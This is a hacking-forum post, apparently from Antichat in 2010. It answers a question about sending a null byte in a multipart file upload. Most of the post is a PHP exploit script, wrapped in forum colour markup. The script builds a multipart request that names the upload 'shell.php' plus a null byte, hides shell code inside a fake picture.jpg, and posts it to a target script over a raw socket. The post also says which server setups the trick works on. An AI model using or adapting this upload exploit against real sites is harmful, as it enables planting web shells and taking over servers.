
28.08.2010, 21:08
|
|
Познавший АНТИЧАТ
Регистрация: 15.01.2008
Сообщений: 1,166
С нами:
9642449
Репутация:
606
|
|
Сообщение от budden
Подскажите, как передать ПОСТом нуль-байт, если форма аплоадит файл и значит enctype="multipart/form-data"?
Вот пример:
Если передаю файл, и в тампер-дата дописываю к его имени %00 или \0 - они не интерпретируются как нуль-байт, а идут текстом. И файл получается с %00 или \0 в названии... Как быть?
Пробовал на CentOS, php5 - не работает, нуллбайт игнорируется и расширение .gif приписывается при MagicQuotes on и off
На винде работает при MagicQuotes Off
PHP код:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]'[/COLOR][COLOR="#007700"];
[/COLOR][COLOR="#0000BB"]$conte[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]"--ololo\r\n"[/COLOR][COLOR="#007700"];
[/COLOR][COLOR="#0000BB"]$conte[/COLOR][COLOR="#007700"].=[/COLOR][COLOR="#DD0000"]'Content-Disposition: form-data; name="myname"'[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]"\r\n\r\n"[/COLOR][COLOR="#007700"];
[/COLOR][COLOR="#0000BB"]$conte[/COLOR][COLOR="#007700"].=[/COLOR][COLOR="#DD0000"]'shell.php'[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]"\x00"[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]"\r\n"[/COLOR][COLOR="#007700"];
[/COLOR][COLOR="#0000BB"]$conte[/COLOR][COLOR="#007700"].=[/COLOR][COLOR="#DD0000"]"--ololo\r\n"[/COLOR][COLOR="#007700"];
[/COLOR][COLOR="#0000BB"]$conte[/COLOR][COLOR="#007700"].=[/COLOR][COLOR="#DD0000"]'Content-Disposition: form-data; name="picture"; filename="picture.jpg"'[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]"\r\n"[/COLOR][COLOR="#007700"];
[/COLOR][COLOR="#0000BB"]$conte[/COLOR][COLOR="#007700"].=[/COLOR][COLOR="#DD0000"]"Content-Type: image/jpeg\r\n\r\n"[/COLOR][COLOR="#007700"];
[/COLOR][COLOR="#0000BB"]$conte[/COLOR][COLOR="#007700"].=[/COLOR][COLOR="#0000BB"]$sh[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]"\r\n"[/COLOR][COLOR="#007700"];
[/COLOR][COLOR="#0000BB"]$conte[/COLOR][COLOR="#007700"].=[/COLOR][COLOR="#DD0000"]"--ololo--\r\n"[/COLOR][COLOR="#007700"];
[/COLOR][COLOR="#0000BB"]post[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'http://host/script.php'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$conte[/COLOR][COLOR="#007700"]);
function[/COLOR][COLOR="#0000BB"]post[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$url[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$cont[/COLOR][COLOR="#007700"]){
[/COLOR][COLOR="#0000BB"]$url[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]parse_url[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$url[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#0000BB"]$respons[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]""[/COLOR][COLOR="#007700"];
[/COLOR][COLOR="#0000BB"]$postsock[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]fsockopen[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$url[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'host'[/COLOR][COLOR="#007700"]],[/COLOR][COLOR="#0000BB"]80[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$errno[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$errstr[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]60[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#0000BB"]$head[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]"POST[/COLOR][COLOR="#007700"]{[/COLOR][COLOR="#0000BB"]$url[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'path'[/COLOR][COLOR="#007700"]]}[/COLOR][COLOR="#DD0000"]HTTP/1.1\r\n"[/COLOR][COLOR="#007700"];
[/COLOR][COLOR="#0000BB"]$head[/COLOR][COLOR="#007700"].=[/COLOR][COLOR="#DD0000"]"Host:[/COLOR][COLOR="#007700"]{[/COLOR][COLOR="#0000BB"]$url[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'host'[/COLOR][COLOR="#007700"]]}[/COLOR][COLOR="#DD0000"]\r\n"[/COLOR][COLOR="#007700"];
[/COLOR][COLOR="#0000BB"]$head[/COLOR][COLOR="#007700"].=[/COLOR][COLOR="#DD0000"]"Connection: close\r\n"[/COLOR][COLOR="#007700"];
[/COLOR][COLOR="#0000BB"]$head[/COLOR][COLOR="#007700"].=[/COLOR][COLOR="#DD0000"]"Content-Length: "[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]strlen[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$cont[/COLOR][COLOR="#007700"]).[/COLOR][COLOR="#DD0000"]"\r\n"[/COLOR][COLOR="#007700"];
[/COLOR][COLOR="#0000BB"]$head[/COLOR][COLOR="#007700"].=[/COLOR][COLOR="#DD0000"]"Content-Type: multipart/form-data; boundary=ololo\r\n\r\n"[/COLOR][COLOR="#007700"];
[/COLOR][COLOR="#0000BB"]$head[/COLOR][COLOR="#007700"].=[/COLOR][COLOR="#0000BB"]$cont[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]"\r\n"[/COLOR][COLOR="#007700"];
[/COLOR][COLOR="#0000BB"]fwrite[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$postsock[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$head[/COLOR][COLOR="#007700"]);
while(![/COLOR][COLOR="#0000BB"]feof[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$postsock[/COLOR][COLOR="#007700"])){
[/COLOR][COLOR="#0000BB"]$respons[/COLOR][COLOR="#007700"].=[/COLOR][COLOR="#0000BB"]fgets[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$postsock[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]1024[/COLOR][COLOR="#007700"]);
}
[/COLOR][COLOR="#0000BB"]fclose[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$postsock[/COLOR][COLOR="#007700"]);
return[/COLOR][COLOR="#0000BB"]$respons[/COLOR][COLOR="#007700"];
}
[/COLOR][COLOR="#0000BB"]?>[/COLOR][/COLOR]
|
|
|